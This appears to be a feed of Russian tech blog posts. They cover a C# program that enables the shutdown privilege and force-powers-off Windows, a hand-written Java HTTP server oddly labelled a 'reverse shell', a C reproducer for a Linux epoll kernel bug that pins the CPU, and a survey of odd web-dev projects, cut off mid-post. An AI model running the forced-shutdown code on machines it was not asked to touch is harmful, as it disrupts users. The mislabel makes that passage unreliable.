public class TokenHelper
{
// PInvoke stuff required to set/enable security privileges
[DllImport("advapi32", SetLastError=true),
SuppressUnmanagedCodeSecurityAttribute]
static extern int OpenProcessToken(
System.IntPtr ProcessHandle, // handle to process
int DesiredAccess, // desired access to process
ref IntPtr TokenHandle // handle to open access token
);

[DllImport("kernel32", SetLastError=true),
SuppressUnmanagedCodeSecurityAttribute]
static extern bool CloseHandle(IntPtr handle);

[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true),
SuppressUnmanagedCodeSecurityAttribute]
static extern int AdjustTokenPrivileges(
IntPtr TokenHandle,
int DisableAllPrivileges,
IntPtr NewState,
int BufferLength,
IntPtr PreviousState,
ref int ReturnLength);

[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true),
SuppressUnmanagedCodeSecurityAttribute]
static extern bool LookupPrivilegeValue(
string lpSystemName,
string lpName,
ref LUID lpLuid);

[StructLayout(LayoutKind.Sequential)]
internal struct LUID
{
internal int LowPart;
internal int HighPart;
}

[StructLayout(LayoutKind.Sequential)]
struct LUID_AND_ATTRIBUTES
{
LUID Luid;
int Attributes;
}

[StructLayout(LayoutKind.Sequential)]
struct _PRIVILEGE_SET
{
int PrivilegeCount;
int Control;
[MarshalAs(UnmanagedType.ByValArray, SizeConst=1)] // ANYSIZE_ARRAY = 1
LUID_AND_ATTRIBUTES [] Privileges;
}

[StructLayout(LayoutKind.Sequential)]
internal struct TOKEN_PRIVILEGES
{
internal int PrivilegeCount;
[MarshalAs(UnmanagedType.ByValArray, SizeConst=3)]
internal int[] Privileges;
}
const int SE_PRIVILEGE_ENABLED = 0x00000002;
const int TOKEN_ADJUST_PRIVILEGES = 0X00000020;
const int TOKEN_QUERY = 0X00000008;
const int TOKEN_ALL_ACCESS = 0X001f01ff;
const int PROCESS_QUERY_INFORMATION = 0X00000400;

public static bool SetPrivilege (string lpszPrivilege, bool
bEnablePrivilege )
{
bool retval = false;
int ltkpOld = 0;
IntPtr hToken = IntPtr.Zero;
TOKEN_PRIVILEGES tkp = new TOKEN_PRIVILEGES();
tkp.Privileges = new int[3];
TOKEN_PRIVILEGES tkpOld = new TOKEN_PRIVILEGES();
tkpOld.Privileges = new int[3];
LUID tLUID = new LUID();
tkp.PrivilegeCount = 1;
if (bEnablePrivilege)
tkp.Privileges[2] = SE_PRIVILEGE_ENABLED;
else
tkp.Privileges[2] = 0;
if(LookupPrivilegeValue(null , lpszPrivilege , ref tLUID))
{
Process proc = Process.GetCurrentProcess();
if(proc.Handle != IntPtr.Zero)
{
if (OpenProcessToken(proc.Handle, TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
ref hToken) != 0)
{
tkp.PrivilegeCount = 1;
tkp.Privileges[2] = SE_PRIVILEGE_ENABLED;
tkp.Privileges[1] = tLUID.HighPart;
tkp.Privileges[0] = tLUID.LowPart;
const int bufLength = 256;
IntPtr tu = Marshal.AllocHGlobal( bufLength );
Marshal.StructureToPtr(tkp, tu, true);
if(AdjustTokenPrivileges(hToken, 0, tu, bufLength, IntPtr.Zero, ref
ltkpOld) != 0)
{
// successful AdjustTokenPrivileges doesn't mean privilege could be changed
if (Marshal.GetLastWin32Error() == 0)
{
retval = true; // Token changed
}
}
TOKEN_PRIVILEGES tokp = (TOKEN_PRIVILEGES) Marshal.PtrToStructure(tu,
typeof(TOKEN_PRIVILEGES) );
Marshal.FreeHGlobal( tu );
}
}
}
if (hToken != IntPtr.Zero)
{
CloseHandle(hToken);
}
return retval;
}
}

class ShutDown
{

[DllImport("user32.dll", ExactSpelling = true, SetLastError = true)]
internal static extern bool ExitWindowsEx(int flg, int rea);

internal const int EWX_FORCE = 0x00000004;
internal const int EWX_POWEROFF = 0x00000008;

static void Main(string[] args)
{
TokenHelper.SetPrivilege("SeShutdownPrivilege",true);
ExitWindowsEx(EWX_FORCE | EWX_POWEROFF, 0);
}
}
}

Обращаю внимание что это не эксплоит, не дыра, не баг и не уявимость а вполне себе стандартный функционал. Просто так получилось что о нем мало кто знает.

Собирается по аналогии с предыдущим примером:

c:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Shutdown.cs

После запуска компьютер практически немедленно выключится:

проверено и в виртуальной машине и на железе, на 10й и 11й Windows.

Рассказываю как это работает.

Ключевая функция — ExitWindowsEx, которая и отвечает за завершение работы ОС. Эта функция очень старая и известная, существует еще со времен Windows 95.

Но для ее вызова нужны «привилегии», которые и выставляет программно класс TokenHelper.

Константы ниже:

internal const int EWX_FORCE = 0x00000004;
internal const int EWX_POWEROFF = 0x00000008;

используются вместе с "побитовым или" для указания на требуемое действие.

Вот еще допустимые варианты:

internal const int EWX_LOGOFF = 0x00000000;
internal const int EWX_SHUTDOWN = 0x00000001;
internal const int EWX_REBOOT = 0x00000002;
internal const int EWX_FORCEIFHUNG = 0x00000010;

Описание их всех находится все там же — в официальном руководстве, не поверите.

Теперь давайте разбираться как же работает столь жесткое забивание на систему защиты еще и стандартными средствами:

TokenHelper.SetPrivilege("SeShutdownPrivilege",true);

И начнем мы с импортов.

Первое что импортируется это функция OpenProcessToken:

[DllImport("advapi32", SetLastError=true),
SuppressUnmanagedCodeSecurityAttribute]
static extern int OpenProcessToken(
System.IntPtr ProcessHandle, // handle to process
int DesiredAccess, // desired access to process
ref IntPtr TokenHandle // handle to open access token
);

Функция отвечает за получение данных о наборе «привилегий», связанных с конкретным процессом. Собственно набор таких привилегий и называется «токеном».

Вот как эта функция вызывается:

if (OpenProcessToken(proc.Handle, TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
ref hToken) != 0)
{
..

Тут надо отметить передачу по ссылке в стиле Си (ref hToken), когда в функцию передается ссылка на объект C#, дальше функция этот объект заполняет данными. А возвращает она просто true или false — статус выполнения, отработала функция или нет.

Дальше импортируется простая и банальная функция освобождения ресурсов:

[DllImport("kernel32", SetLastError=true),
SuppressUnmanagedCodeSecurityAttribute]
static extern bool CloseHandle(IntPtr handle);

Вызывается она в самом конце, после всей логики и нужна только для освобождения использованной памяти под токен привилегий:

if (hToken != IntPtr.Zero)
{
CloseHandle(hToken);
}

Наконец главная функция, непосредственно отвечающая за переключение привилегий:

[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true),
SuppressUnmanagedCodeSecurityAttribute]
static extern int AdjustTokenPrivileges(
IntPtr TokenHandle,
int DisableAllPrivileges,
IntPtr NewState,
int BufferLength,
IntPtr PreviousState,
ref int ReturnLength);

Вот весь ключевой блок логики смены привилегий:

if (OpenProcessToken(proc.Handle, TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
ref hToken) != 0)
{
tkp.PrivilegeCount = 1;
tkp.Privileges[2] = SE_PRIVILEGE_ENABLED;
tkp.Privileges[1] = tLUID.HighPart;
tkp.Privileges[0] = tLUID.LowPart;
const int bufLength = 256;
IntPtr tu = Marshal.AllocHGlobal( bufLength );
Marshal.StructureToPtr(tkp, tu, true);
if(AdjustTokenPrivileges(hToken, 0, tu, bufLength, IntPtr.Zero, ref
ltkpOld) != 0)
{
// successful AdjustTokenPrivileges doesn't mean privilege could be changed
if (Marshal.GetLastWin32Error() == 0)
{
retval = true; // Token changed
}
}
TOKEN_PRIVILEGES tokp = (TOKEN_PRIVILEGES) Marshal.PtrToStructure(tu,
typeof(TOKEN_PRIVILEGES) );
Marshal.FreeHGlobal( tu );
}

Как видите вызов достаточно сложный, используется Сишный процедурный подход к заполнению полей структуры и передачи его по ссылке в вызываемую функцию.

После вызова проверяется наличие ошибки, также в стиле Си:

if (Marshal.GetLastWin32Error() == 0)
{
retval = true; // Token changed
}

0 это код возрата для успешного вызова, если он есть — считается что операция смены привилегий была выполнена успешно.

Наконец последняя функция, про которую стоит рассказать:

[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true),
SuppressUnmanagedCodeSecurityAttribute]
static extern bool LookupPrivilegeValue(
string lpSystemName,
string lpName,
ref LUID lpLuid);

Она отвечает за поиск привилегии по имени, полагаю ведь заметили что мы передаем некое кодовое наименование при вызове TokenHelper:

TokenHelper.SetPrivilege("SeShutdownPrivilege",true);

Именно эта функция отвечает за поиск конкретной привилегии по названию «SeShutdownPrivilege», вот так выглядит ее вызов:

if (bEnablePrivilege)
tkp.Privileges[2] = SE_PRIVILEGE_ENABLED;
else
tkp.Privileges[2] = 0;

if(LookupPrivilegeValue(null , lpszPrivilege , ref tLUID))
{
..

Переменная bEnablePrivilege булевая, это и есть то самое true передаваемое в качестве второго аргумента, а блок:

if (bEnablePrivilege)
tkp.Privileges[2] = SE_PRIVILEGE_ENABLED;
else
tkp.Privileges[2] = 0;

Отвечает за формирование правильного вызова с использованием системных констант (SE_PRIVILEGE_ENABLED).

При вызове также передается ссылка (ref tLUID) на объект LUID, который будет содержать после вызова указание на найденную привилегию.

Вот такие интересные дела.

Итого

Все описанное не призыв к немедленным действиям, а лишь повод к размышлению о смысле бытия. Ну там насчет надежности, безопасности и всего такого — что вам продает большая иностранная корпорация.

Задумайтесь, если увидите любимую "венду" на атомной станции или военном объекте — без всяких ЦРУ и хакеров в ОС Windows адова гора функционала, который легко и просто можно использовать во вред.

P.S.

Статья была опубликована на Хабре, более вольный оригинал доступен в нашем блоге.

Показать полностью 1 2
6

Разработка на Java без всего

Серия Жестокие эксперименты

Снова показываю как вести разработку «голыми руками» — без IDE, документации и даже интернета. На этот раз с помощью «пользовательской» Ubuntu Linux и OpenJDK.

Поскольку современные разработчики постоянно жалуются на завышенные требования технических интервью вообще и на мою «дурную практику» написания кода от руки в частности — показываю на личном примере как все это работает.

Жертвам «слабой памяти» посвящается.

Заодно узнаете как можно вести разработку на Java хоть в чистом поле — в самолете, в поезде или на закрытом объекте, без подключения к интернету и документации.

Видео

На этот раз для большего угара помимо статьи было записано и видео, где показан весь процесс «полевой разработки» на Java, с одним только JDK:

Также ролик можно посмотреть на VK Video и Youtube.

Тестовое окружение

Для большей чистоты эксперимента был взят Live-образ Ubuntu Desktop 24.04.3 LTS, записан на флешку, флешка вставлена в один из рабочих ноутбуков, который затем с нее был загружен.

Таким образом получилась абсолютно чистая система, без средств разработки и с отключенной сетью.

Из инструментов у нас будет лишь текстовый редактор и JDK.

И все.

Что будем писать

Самое простое что можно написать в таких полевых условиях — реверс-шелл HTTP-сервер. На самом деле написать можно много чего, особенно если посмотреть в каталог demo внутри OpenJDK:

Набор демо-проектов из состава OpenJDK 24

Набор демо-проектов из состава OpenJDK 24

Здесь и далее скриншоты из другой системы (Manjaro), чтобы не заморачиваться с их перебрасыванием из Live-системы и добавлением в статью. Тем не менее на видео все описываемые в статье шаги и весь код вбиваются каноничным способом — полностью вручную, на чистой системе, загруженной с Live USB.

Демо

Упомянутый выше каталог demo содержит набор довольно серьезных примеров проектов, которых вам вполне хватит для начальной стадии изучения или в качестве основы для какого-нибудь прототипа, особенно если никаких других инструментов и интернета — нет.

Так выглядит демо-проект Notepad, реализующий простейший текстовый редактор:

Окно отладки справа — часть демо&#x2011;проекта.

Окно отладки справа — часть демо‑проекта.

Так выглядит демо Metalworks, с простейшей реализацией мульти-оконной системы (MDI):

Обратите внимание на меню Theme, даже у демо-проекта есть скины!

Обратите внимание на меню Theme, даже у демо-проекта есть скины!

Напоминаю, что вся эта благодать находится внутри стандартной поставки любой версии JDK, начиная с незапамятных времен 8й версии.

Все демо-проекты содержат исходный код в архивах src.zip и собираются без внешних зависимостей.

К сожалению каталог с демо иногда вырезается ментейнерами дистрибутивов линукса ради экономии места и переносится в отдельный пакет, который пользователи разумеется забывают установить.

Ручная разработка

В ролике в записи показано как автор последовательно вводит и запускает в работу примерно такой код:

// разумеется я не помню названий абсолютно всех
// импортируемых классов, поэтому тут стоит '*'
import java.io.*;
import java.net.*;
import java.util.concurrent.*;

public class MyWebServer {

static void handle(Socket s) {
// метод getId() устарел, поэтому его использование в
// последних версиях JDK выдает предупреждение
System.out.println("Thread: %d"
.formatted(Thread.currentThread().getId()));

// самое сложное место, которое удалось повторить на записи
// далеко не с первой попытки
try(PrintWriter out = new PrintWriter(s.getOutputStream());
BufferedReader in = new BufferedReader(
new InputStreamReader(s.getInputStream()));) {
// поскольку используется чтение и запись строк а не байт - читаем
// строку целиком, т.е. до символа \n
String l = in.readLine();
// тут просто показываем в консоль
System.out.println(l);
// этим простым способом читаем только строку запроса,
// которая идет первой, пропустив все заголовки
// \r\n (пустая строка) - признак завершения запроса
while (l==null || l.isEmpty() || "\r\n".equals(in.readLine()));

// тут мы 'в лоб' сравниваем строку HTTP-запроса целиком
// так она выглядит до работы парсера
if ("GET /test HTTP/1.1".equals(l)) {
// поскольку мы реагируем только на один url '/test'
// формируем ниже статичный ответ
String data = "Hello from alex0x08 at "+ new Date();
// так выглядят стандартные поля ответа в 'raw' виде, без обработки
out.println("HTTP/1.1 200 OK");
// 'close' дает указание браузеру разорвать соединение
// с сервером сразу после получения данных
out.println("Connection: close");
// поскольку мы отдаем строку - ставим MIME тип 'text/plain'
out.println("Content-Type: text/plain");
// опционально отдаем размер данных
out.println("Content-Length: " + data.length());
// пустая строка - признак начала блока с данными
out.println();
// отдаем сами данные
out.println(data);
} else {
// во всех остальных случаях формируем ответ 404
out.println("HTTP/1.1 404 Not Found");
out.println("Connection: close");
out.println();
}
// нужно обязательно вызывать поскольку PrintWriter кеширует данные
out.flush();
} catch (Exception e) {
e.printStackTrace();
} finally {
// в любом случае закрываем клиентский сокет
try {s.close();} catch (Exception ee) {}
}
}
// стартовый метод приложения
public static void main(String[] args) throws Exception {
System.out.println("Starting..");
// тоже сложное место, которое было непросто ввести по памяти
ExecutorService p = Executors.newFixedThreadPool(10);
// создание 'серверного' сокета, который будет прослушивать
// указанный порт
// поскольку хост не указан - будут прослушиваться все (0.0.0.0)
ServerSocket ss = new ServerSocket(8089);
// бесконечный цикл, который нужен тк метод accept() - блокирующий
// и выход из него произойдет после получения входящего подключения
while (true) {
// получен клиентский сокет
Socket s = ss.accept();
// запуск асинхронной обработки
p.execute(() -> handle(s));
}
}
}

Комментариев в той версии кода, который был показан на записи разумеется нет, они были добавлены уже после — для большего понимания.

Данный исходный код реализует простейший многопоточный веб-сервер на Java, который отвечает лишь на один URL /test и отдает заранее заданную строку с датой.

Как видите даже столь небольшого количества строк достаточно, чтобы можно было подключиться из современного браузера Chrome:

Компиляция выполняется как и в записи всего одной командой:

javac -cp . MyWebServer.java

После чего появится один единственный class-файл c совпадающим именем. Поскольку пакеты не использовались, для запуска достаточно указать в качестве classpath текущий каталог:

java -cp . MyWebServer

Но это все лирика и понты.

Когда кончается человеческая память

Разумеется невозможно запомнить абсолютно все и рано или поздно вы столкнетесь с названием метода или класса, которые надо где-то подсмотреть.

Для примера, автор при записи видео столкнулся с таким в двух местах:

длинные классы-обертки над потоками (stream) сокета и сложное название статичного метода, создающего экземпляр ExecutorService.

И то и другое получилось правильно ввести далеко не с первой попытки.

Возвращаясь к ситуации когда нет доступа к интернету и полноценной среды разработки, зато на машине есть JDK — показываю что можно сделать в этом непростом случае.

Невероятно но факт:

подсмотреть названия системных классов и методов можно.. в самом JDK!

Вот это поворот!

В последних версиях JDK появилась интересная утилита jimage, которая находится в каталоге bin (там же где и главные бинарники java и javac).

С помощью этой штуки можно легко посмотреть полные названия всех системных классов:

Листинг системных классов JDK с полными именами.

Листинг системных классов JDK с полными именами.

Правда знание полного имени класса не всегда помогает, поскольку в JDK много вложенных системных классов, которые по идее вызывать снаружи не надо.

Команда для запуска:

jimage list $JAVA_HOME/lib/modules |less

Где переменная JAVA_HOME указывает на каталог с установленной JDK:

Так вы увидите названия всех системных классов, но что делать с методами?

Вытаскиваем сигнатуры методов

Тут тоже есть решение, поскольку эта же самая утилита позволяет распаковывать jmod-файлы в которых находятся системные классы JDK:

jimage extract --dir=/opt/src/tmp $JAVA_HOME/lib/modules

А еще одна утилита javap позволяет посмотреть метаданные class-файла, в том числе сигнатуры всех методов:

cd /opt/src/tmp/jre
javap java.base/java/nio/Bits.class

Так выглядит результат:

Вот этого уже с запасом хватит для полевой разработки в условиях крайнего Севера.

Если у вас есть реальный, не "нарисованный" опыт разработки на Java, двух этих трюков будет достаточно для работы в поезде или самолете или на чужом компьютере — в тех местах и обстоятельствах, где нет подготовленного рабочего места.

Исходники JRE

Если вам совсем повезет, в каталоге JDK/lib будет находиться файл src.zip, внутри которого будут исходники всех системных классов JRE:

«Повезет» — потому что также как и demo, этот файл часто удаляют ментейнеры дистрибутивов Linux, с переносом в отдельный пакет. Но разумеется если он присутствует, то поможет гораздо больше чем все приседания с javap.

В распакованном виде:

Внутри находится исходный код всех классов Java, используемых в JDK:

cat java.base/java/io/Bits.java |less

Для примера, так выглядит исходный код класса java.io.Bits, который мы просматривали выше с помощью javap:

Как видите тут есть все, включая комментарии.

Как видите тут есть все, включая комментарии.

Эпилог

Смысл такой «полевой разработки» — в первую очередь глумеж над джунами проверка реальных практических навыков, которые находятся в голове у программиста, а не где‑то в интернете. К сожалению ныне можно констатировать, что такие навыки являются большой редкостью и мало кто из кандидатов, которых я когда-либо собеседовал могли осилить написание хотя‑бы трети подобного кода.

Кстати в нашем Телеграм-канале выложено первое техническое видео, где впервые получилось проверить всю эту идею.

Статья была опубликована на Хабре, более вольный оригинал статьи как обычно в нашем блоге.

Показать полностью 10 1
29

Snapd, 100% загрузка cpu и баг ядра

Серия Мы не пишем в техподдержку

Еще одна поучительная история из жизни с Linux, специально чтобы вы потеряли сон и покой, узнав что такое вообще возможно.

Тот самый баг, смотрит на вас с экрана.

Тот самый баг, смотрит на вас с экрана.

Вводная

Эмм с чего бы такого начать, чтобы не испугать раньше времени и не заставить устанавливать *BSD.

Есть на свете одна компания, которой мы помогаем с ИТ и есть у нее несколько виртуальных серверов на Ubuntu Linux, используемых для половых утех разработки и тестирования.

Ubuntu там использовалась нормальной (для сервера) LTS‑версии, но в какой‑то момент — в погоне за патчами безопасности ее обновили до текущей.

Не совсем «текущей-текущей», которую используют разработчики Ubuntu для обкатки новых версий дистрибутива, а просто без долгой поддержки — примерно то, что ставят себе обычные пользователи Ubuntu Linux на домашние компьютеры.

Все происходило летом 2025 года, поэтому речь про версию 25.04 Ubuntu Linux, которая использует ядро 6.14 (запомните этот важный момент):

Баг

Однажды сисадмин компании-заказчика заметил слишком частую и сильную нагрузку на CPU, создаваемую процессом snapd, который является частью пакетного менеджера Snap.

Скриншот был взят из сети, поэтому «шакальего» качества;)

Скриншот был взят из сети, поэтому «шакальего» качества;)

Эта проблема с перегрузкой CPU для snapd мягко говоря не нова — «проклятый snapd» гадил линуксоидам с момента своего появления на свет и вообще видимо был не придуман а ниспослан свыше, в качестве кары за грехи.

Но в этот раз 100% загрузка CPU происходила.. строго по расписанию:

Нет, это не осеннее обострение, дело происходило летом.

Нет, это не осеннее обострение, дело происходило летом.

Разумеется первым делом были опробованы стандартные методы решения, вроде снижения частоты проверок обновлений или полного отключения проклятого сервиса:

Отдельно порадовал ответ ИИ:

Дословно «снести и использовать что-то другое» — первый разумный совет от машины за всю историю развития искусственного интеллекта.

Дальнейшие изыскания привели в багтрекер snapd к упомянутому багу, где уже третий комментарий от разработчика snapd, с приложенной трассировкой вызовов показал что проблема именно в ядре:

Тут стоит добавить, что почти сразу встал вопрос проверки бага на локальной машине, поскольку на момент изучения ситуации локально все успело неоднократно обновиться, а отлаживать ядро Linux на сервере заказчика все же не очень хорошая затея.

Чуть ниже по переписке видно, что баг особо ярко проявляется на ноутбуке, работающем от батареи:

Так что решено было пробовать отловить именно в таких условиях.

На счастье, на машине осталась сборка 6.14 версии ядра с патчами от Xanmod, которая использовалась для статьи про l9ec.

В последние годы в проекте ядра Linux выпускается сильно много промежуточных релизов, поэтому на какой именно версии внутри 6.14 ветки что-то пошло не так еще пришлось выяснять:

Наконец источник проблем был найден:

Чуть ниже по переписке обнаружился и тестовый код на C, демонстрирующий проблему, вот такой:

#include <sys/epoll.h>
#include <sys/time.h>
#include <sys/wait.h>

int main() {
int e = epoll_create1(0);
struct epoll_event event = {.events = EPOLLIN};
epoll_ctl(e, EPOLL_CTL_ADD, 0, &event);
const struct timespec timeout = {.tv_nsec = 1};
epoll_pwait2(e, &event, 1, &timeout, 0);
}

А так это выглядит в действии:

Обратите внимание на загрузку CPU и блокировку выхода из приложения

Как видите, в очередной раз проблема прикладного сервиса уперлась в ядро операционной системы.

Патч целиком находится тут, место исправления выглядит как-то так:

Да, как видите ситуацию радикально исправляет буквально пара символов логической конструкции, главное знать где исправлять.

Текущее состояние

Формально проблема была решена еще летом этого года, патч попал в mainline и пакет с обновлением ядра от команды Ubuntu:

На осень 2025 года даже стабильная версия ядра Linux уже имеет версию 6.16 — т. е. паровоз разработки уехал очень далеко вперед от описываемых проблем:

Так что на момент написания данной статьи вы (по идее) не должны столкнуться с данной проблемой, а если и столкнетесь — все легко решается банальным обновлением версии ядра из пакетов дистрибутива.

При подозрении на описанный баг — попробуйте собрать тестовое приложение (см. выше) и запустить в своем окружении.

Если начнется 100% загрузка CPU запущенным процессом — проблема точно есть, поскольку в ядрах с патчем поведение тестового приложения отличается:

В исправленном ядре тестовое приложение немедленно завершится.

Что касается заказчика, поскольку решение а затем и патч были опубликованы довольно оперативно — раньше чем нам сообщили о проблеме, на время разборок с согласованиями и попаданием в mainline ядра, мы банальным образом перенесли патч вручную в ту версию ядра, которая использовалась на сервере.

Позже обновили уже штатными средствами дистрибутива до текущей актуальной версии.

Эпилог

Если вы не являетесь разработчиком ядра и не пишете патчи каждый день, засыпая в обнимку с отладчиком — т. е. далеки от реалий системного программирования, то из этой статьи сможете вынести несколько интересных выводов и внезапных открытий:

1. Linux — могила, *BSD - сила

Шучу, разумеется неподготовленным пользователям в BSD-системы лучше не лезть совсем, но задуматься (или хотя-бы просто знать) о реалиях функционирования Linux все же стоит. Чтобы факт выноса мозга ядру из прикладного ПО не стал для вас неприятным сюрпризом.

2. Граница между прикладкой и системной разработкой весьма абстрактна

Проще говоря — ее нет совсем и в любой произвольный момент времени у вас есть неиллюзорный шанс наткнуться на баг ядра, даже программируя на JavaScript в браузере.

3. Любой уважающий себя сисадмин и DevOps должны знать С

Пусть на самом примитивном уровне, но хотя-бы собрать и запустить тестовое приложение, демонстрирующее проблему надо уметь. К сожалению все глубокие изыскания по теме «где оно тормозит» или «почему оно упало» рано или поздно приводят к коду на С и отладчику ядра.

И поверьте моему печальному опыту:

изучать эти штуки лучше днем и в спокойной обстановке, а не в режиме аврала и поздно ночью на работе в выходной день.

4. Считайте деньги, хотя-бы иногда

Описанная в статье проблема случилась в локализованном окружении (на собственных физических серверах компании), но точно такая же Ubuntu используется и облачными провайдерами вроде Amazon, где есть тарификация за использование ресурсов, в первую очередь CPU.

Как нетрудно догадаться, 100% загрузка процессора с интервалом в пять минут в облаке, если ее вовремя не заметить и не исправить — больно отразится на счете, который вам потом выставят.

Так что проверяйте загруженность, пиковых 100% в современных системах быть не должно, если только вы целенаправленно не занимаетесь вычислительными задачами.

P.S.

Статья была опубликована на Хабре, более вольный оригинал как обычно в нашем блоге, копия статьи — в Яндекс Дзене.

Показать полностью 14
9

Творим дичь с помощью инструментов веб-разработки

Серия Жестокие эксперименты

Или что бывает если заставить очень опытного разработчика заниматься не своим делом. Думаю после этой статьи термин «overqualified» заиграет для вас новыми красками.

Пять минут вдумчивого изучения этого скриншота могут привести к нервному срыву, я предупредил.

Пять минут вдумчивого изучения этого скриншота могут привести к нервному срыву, я предупредил.

Наш волшебный дикий веб

Что первым делом приходит в голову, когда говорят о «веб-разработке»? Наверное что-то вроде "создание сайтов или веб-приложений"?

Лендинги, сайты-визитки, интернет-магазины или какие-нибудь веб-порталы в ад.

Самые продвинутые из читателей вспомнят PWA или какой-нибудь React Native с Flutter — предел полета фантазии обычного разработчика.

Что плохо:

главное что отделяет человека от великих свершений это его фантазия — точно нельзя сделать только то, что невозможно вообразить.

Поэтому сейчас мы будем расширять ваше воображение — в превентивных мерах, дрелью и дыроколом подручными средствами. Перед вами шесть проектов отборнейшей дичи — реализующих самые безумные идеи с помощью вполне обыденных инструментов современного веб-разработчика.

Пожалуйста не пытайтесь рассказывать о таком на интервью в обычных компаниях — пожалейте интервьюера и его нежную психику.

Дичь первая: HTMLang

Не смог пропустить столь жизнеутверждающее описание от автора этого замечательного проекта:

They were laughing that HTML was not a real programming language... WHO"S LAUGHING NOW!!11

Да, это именно то что вы подумали — кто-то будучи сильно не в духе взял общий синтаксис HTML и создал на его основе полноценный язык программирования.

Вот так выглядит реализация знаменитого FizzBuzz:

<!DOCTYPE html>
<html>
<head>
<title>FizzBuzz</title>
</head>
<body>
<h3>Look into the DevTools Console</h3>
<htmlang style="display: none;">
<call target="console.log"><s>Generating FizzBuzz...</s></call>
<for><v>i</v> <n>1</n> <n>100</n>
<cond>
<when>
<eq>
<mod>
<v>i</v>
<n>15</n>
</mod>
<n>0</n>
</eq>
<call target="console.log">
<s>FizzBuzz</s>
</call>
</when>
<when>
<eq>
<mod>
<v>i</v>
<n>3</n>
</mod>
<n>0</n>
</eq>
<call target="console.log">
<s>Fizz</s>
</call>
</when>
<when>
<eq>
<mod>
<v>i</v>
<n>5</n>
</mod>
<n>0</n>
</eq>
<call target="console.log">
<s>Buzz</s>
</call>
</when>
<else>
<call target="console.log"><v>i</v></call>
</else>
</cond>
</for>
</htmlang>
<script src="./HTMLang.js"></script>
</body>
</html>

Не представляю что будет если самому Джоэлу выдать его же знаменитый «FizzBuzz» в такой реализации — есть шанс что старый сишный программист впадет в рекурсию.

Кстати кто там рассказывал на лекциях про «декларативный язык разметки» и «общую неполноценность»?

HTML (от англ. HyperText Markup Language — «язык гипертекстовой разметки») — стандартизированный язык гипертекстовой разметки документов для просмотра веб-страниц в браузере.

Зря старались, автор этого проекта тем временем спокойно пишет в консоль тегами HTML:

<call target="console.log">
<s>FizzBuzz</s>
</call>

А все потому, что не надо нанимать системных программистов, прошедших полноценное обучение по дисциплинам CS (вроде курса по разработке компиляторов) для работы штатным говночистом разработчиком в обычном корпоративном проекте.

Дичь вторая: HTML-as-programming-language

Нехорошие мысли терзают многих опытных разработчиков — все та же идея «полноценной разработки на HTML» не дает покоя и автору данного проекта.

Но только он зашел в этом процессе несколько дальше предыдущего.

Как вам например функция на чистом HTML:

<def multiplyFunction returns=int> <!-- You can create functions -->
<param a type=int/>
<param b type=int/>
<return>a * b</return>
</def>

<def main>
<var result type=int>
<!-- Create variables -->
<multiplyFunction>
<!-- and store the result of the function in the variable -->
<param>5</param>
<param>6</param>
</multiplyFunction>
</var>
</def>

Известная библейская истина «многие знания — многие печали» — как раз про этот проект, например я бы очень хотел все это забыть и никогда о подобном не знать.

Но к сожалению уже слишком поздно, поэтому делюсь откровениями:

Замечательный пайплайн с вызовом компилятора HTML, правда?

Замечательный пайплайн с вызовом компилятора HTML, правда?

Да, вы все правильно поняли — это самый настоящий компилятор из HTML в нативный ELF64.

А сейчас совсем поплохеет:

To write code for Adruino/AVR microcontrollers, (Arduino UNO for example) you need to put a DOCTYPE tag in your HTML file.

For example:

<!DOCTYPE avr/atmega328p>

Да, это была оригинальная задумка автора — разработка для микроконтроллеров на HTML, я ничего не придумываю.

К слову, небольшая магия с #include <stdio.h> на скриншоте выше была необходима как раз потому, что компилятор предназначен для микроконтроллеров и не добавляет в генерируемый код на С этот стандартный для обычной ОС заголовок.

Вот так выглядит эта <a href="https://pikabu.ru/story/tvorim_dich_s_pomoshchyu_instrumentov_vebrazrabotki_14099356?u=https%3A%2F%2Fwww.arduino.cc%2F&t=%D0%B6%D0%B5%D0%BB%D0%B5%D0%B7%D0%BA%D0%B0&h=b1ac8ec1b0c44147da9621c7949df1a76be5a0ec" title="https://www.arduino.cc/" target="_blank" rel="nofollow noopener">железка</a>, если никогда не видели.

Вот так выглядит эта железка, если никогда не видели.

К сожалению у меня не оказалось под рукой такого девайса, так что полноценную работу и весь пайплайн проверить не смог. Но если среди читателей найдутся смелые люди, которые смогут это запустить — с радостью почитаю о впечатлениях.

А мы тем временем переходим к следующему замечательному проекту.

Дичь третья: ass-js

Таким названием и не менее характерным логотипом, авторы честно намекают на суть проекта:

Assembler implemented in JavaScript

Полагаю вы еще никогда не устанавливали компилятор ассемблера с помощью npm? Что ж, все когда‑нибудь бывает в первый раз:

npm i ass-js

Так выглядит классический «Hello, world»:

import {X64} from '../src/index';

const asm = X64();
asm.code(_ => {
_('db', 'Hello World!\n');
_('mov', ['rax', 1]); // 0x48, 0xC7, 0xC0, 0x01, 0x00, 0x00, 0x00
_('mov', ['rdi', 1]);
_('lea', ['rsi', _('rip').disp(-34)]);
_('mov', ['rdx', 13]);
_('syscall');
_('ret');
});

console.log(asm.toString());

Только не показывайте любимому преподавателю курса по ассемблеру — поплохеет с такого накала дичи.

Вот так выглядит результат работы:

К сожалению выдаваемый ассемблерный код оказался нерабочим и отказался компилироваться в бинарник на моей машине.

К сожалению выдаваемый ассемблерный код оказался нерабочим и отказался компилироваться в бинарник на моей машине.

Зато есть отдельный туториал по разбору примера с «Hello world», где по шагам разобрано как оно работает.

Еще нашелся замечательный вопрос к автору:

I was looking at your project and I couldn't figure out a reason as to why I would (and what, rather) implement with this.

Который как бы намекает на уровень треша и угара в этом проекте. Но едем дальше — к следующему отбитому уникальному проекту.

Дичь четвертая: ts2c

Тут все просто и очевидно:

Produces readable C89 code from JS/TS code.

Собственно все кроме смысла существования этого замечательного проекта — понятно и очевидно. Как-то так выглядит весь пайплайн:

Если вам вдруг будет нужен транспилер из Typescript в чистый Си — берите и пользуйтесь, благо проект очень даже рабочий:

npm install -g ts2c

Работает кстати и из браузера:

<script src="https://unpkg.com/typescript"></script>
<script src="ts2c.bundle.js"></script>
<script>
var cCode = ts2c.transpile("console.log('Hello world!')");
alert(cCode);
</script>

Есть даже онлайн версия:

